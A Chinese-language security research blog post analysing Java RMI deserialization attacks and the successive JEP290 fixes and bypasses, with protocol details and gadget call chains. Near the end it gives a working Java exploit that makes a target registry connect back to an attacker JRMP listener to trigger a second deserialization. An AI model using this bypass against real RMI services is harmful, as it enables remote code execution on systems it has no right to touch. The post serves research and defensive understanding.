前些日子的一次比赛碰到攻击RMI服务的漏洞,最终没打下来。当时也被其他任务缠身导致没探究其根本原因。想着近两年各种基于RMI的漏洞又多了起来,而我对其中涉及的很多JDK版本问题、官方修复绕过、分布式垃圾回收相关特性、各种tricks的利用等都懵懵懂懂。趁着假期,索性一次将RMI相关的利用问题搞清楚
本文不涉及太多Debug代码的流水账,那样只会绕来绕去把自己绕晕。而是按照Oracle的官方修复、被绕过、修复、再绕过的思路进行分析。全文讲的RMI攻击对象为注册中心及服务端,至于反向操作造成的客户端反打问题原理类似,这里不做讨论。
针对RMI服务的利用手法依赖于目标ClassPath存在的Gadget,从JDK更新历史来看可分为三个阶段,第一阶段是在JEP290之前,攻击者可使用bind/unbind/dirty等操作绑定Gadget完成利用。在第二阶段是在发布JEP290(JDK8u121)至JDK8u241时期,由于JEP290 白名单的限制,进而找出了UnicastRef、UnicastRemoteObject利用链可用于二次反序列化的攻击手法,中间也穿插了对来源地址等的限制及绕过(CVE-2019-2684)。而第三阶段是在JDK8u241之后,攻击RMI服务已经无法利用bind/unbind/dirty等内置方法完成攻击,只能寄希望于寻找应用层的函数方法,当方法传递的是Object、Remote、Map等类型参数时,还是可以利用其传递构造的恶意对象进行利用。
rmi-protocol-docs
发送的报文格式如下。服务端在接收到客户端传输的数据后,依次解析确认operation指令(Call、Ping、DgcAck)、根据ObjID确认处理的Skel类(RegistryImpl_Skel/DGCImpl_Skel/自定义)、根据num/hash确认要调用的方法、arg为调用方法的参数值。其中ObjID、num、hash、arg都是基于JAVA原生序列化机制生成的序列化数据
Header默认值部分在TransportConstants中定义,其中文档中的
0x4a 0x52 0x4d 0x49
即sun.rmi.transport.TransportConstants#Magic的值
operation:
1 2 3
|
Call:80 0x50 远程方法调用 Ping:82 0x52 探测存活请求 DgcAck:84 0x54 dgc确认请求
|
ObjID:Registry与DGC的ObjID是固定值,在如下函数中被定义
1 2 3 4 5
|
Registry rt.jar!sun.rmi.registry.RegistryImpl#id:id = new ObjID(0);
DGC rt.jar!sun.rmi.transport.DGCImpl#dgcID:dgcID = new ObjID(2);
|
num:Registry与DGC中的操作及对应值
1 2 3 4 5 6 7 8 9 10
|
Registry: bind 0 list 1 lookup 2 rebind 3 unbind 4
DGC: clean 0 dirty 1
|
hash:Registry与DGC中hash值为固定值,自定义方法的hash值为方法签名的sha1
1 2 3 4 5
|
Registry: sun.rmi.registry.RegistryImpl_Skel#interfaceHash:interfaceHash = 4905912898345647071L;
DGC: sun.rmi.transport.DGCImpl_Skel#interfaceHash:interfaceHash = -669196253586618813L;
|
sun.rmi.server.UnicastServerRef#dispatch 根据客户端传过来的num值进行判断,如果≥0,表示为Registry/DGC默认方法 调用sun.rmi.server.UnicastServerRef#oldDispatch进行处理,如果客户端想远程调用自定义方法,则需要在定义时将属性值num设为负值、服务端在接收到客户端发送的call指令后根据num及
hashToMethod_Map.get(方法hash值)
确认目标方法,最后通过反射进行调用
而arg为远程方法的参数值,是基于JAVA原生序列化机制生成的序列化数据。在DGC层clean/dirty方法的ObjID参数为Object类型,可以承载我们的恶意payload,其对应的EXP为ysoserial.exploit.JRMPClient,数据构造部分在makeDGCCall()中
至此即可通过DGC攻击RMI服务
当我们谈论JNDI注入时,我们在谈论什么
1 2 3 4 5 6 7 8 9 10
|
sun.rmi.server.UnicastRef#readExternal sun.rmi.transport.LiveRef#read sun.rmi.transport.DGCClient#registerRefs sun.rmi.transport.DGCClient.EndpointEntry#registerRefs sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall sun.rmi.transport.DGCImpl_Stub#dirty sun.rmi.server.UnicastRef#invoke sun.rmi.transport.StreamRemoteCall#executeCall java.io.ObjectInputStream#readObject
|
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
相当于从UnicastRemoteObject.readObject()通过”一系列操作“ 最终调用到了UnicastRef.invoke(),刚好绕过官方的两步修复方案。UnicastRef链及8u231的修复方案
1 2 3 4 5 6 7 8 9 10 11
|
UnicastRef gadget chain: sun.rmi.server.UnicastRef#readExternal sun.rmi.transport.LiveRef#read sun.rmi.transport.DGCClient#registerRefs sun.rmi.transport.DGCClient.EndpointEntry#registerRefs sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall sun.rmi.transport.DGCImpl_Stub#dirty sun.rmi.server.UnicastRef#invoke sun.rmi.transport.StreamRemoteCall#executeCall java.io.ObjectInputStream#readObject
|
我们观察修复方案可以发现:官方并没有处理sun.rmi.server.UnicastRef#invoke之后的操作,相当于sink点没变,绕过补丁需要找一处反序列化的source点,source点需要满足如下条件:
1 2 3 4 5 6 7
|
1、白名单中的类(可绕过JEP290),并且存在readObject/readExternal方法 2、readObject/readExternal方法最终可以触发UnicastRef 3、因为RemoteObjectInvocationHandler的特点: a、存在RemoteRef类型(UnicastRef的父类)的属性(ref) b、RemoteObjectInvocationHandler c、RemoteObjectInvocationHandler本身实现了InvocationHandler,可作为动态代理的处理handler,在调用被代理接口方法时会先调用RemoteObjectInvocationHandler 所以条件2就变成了:反序列化方法中最终可以触发其属性的方法,属性接口使用RemoteObjectInvocationHandler代理即可
|
顺着这个思路,找到JEP290的白名单中有个java.rmi.server.UnicastRemoteObject,这个类的readObject()方法最终会调用到其属性值ssf的createServerSocket方法
这里用到了动态代理的特性:当调用ssf属性的createServerSocket方法时,会调用handler.invoke(),即这里会调用RemoteObjectInvocationHandler#invoke
而RemoteObjectInvocationHandler的ref属性为我们构造的UnicastRef对象,所以会调用到sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long),接下来就与UnicastRef链一致了
最终的调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
UnicastRemoteObject gadget chain: java.rmi.server.UnicastRemoteObject#readObject java.rmi.server.UnicastRemoteObject#reexport java.rmi.server.UnicastRemoteObject#exportObject ... sun.rmi.transport.tcp.TCPTransport#listen sun.rmi.transport.tcp.TCPEndpoint#newServerSocket com.sun.proxy.$Proxy1.createServerSocket() java.rmi.server.RemoteObjectInvocationHandler#invoke java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod sun.rmi.server.UnicastRef#invoke sun.rmi.transport.StreamRemoteCall#executeCall java.io.ObjectInputStream#readObject
|
编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
genUnicastRef()为生成UnicastRef对象的方法 lookup()为我们重写的方法,可以传入Object类型
Registry registry = LocateRegistry.getRegistry("192.168.232.8", 1099); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(genUnicastRef("192.168.232.1",2233)); RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class,Remote.class}, remoteObjectInvocationHandler); Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); constructor.setAccessible(true); UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null); Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf"); ssf.setAccessible(true); ssf.set(unicastRemoteObject, rmiServerSocketFactory); lookup(registry, unicastRemoteObject);
|
使用UnicastRefRemoteObject链绕过官方对于UnicastRef链的修复
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://su18.org/post/rmi-attack/
https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.anquanke.com/post/id/197829
http://code2sec.com/cve-2017-3241-java-rmi-registrybindfan-xu-lie-hua-lou-dong.html
https://xz.aliyun.com/t/7932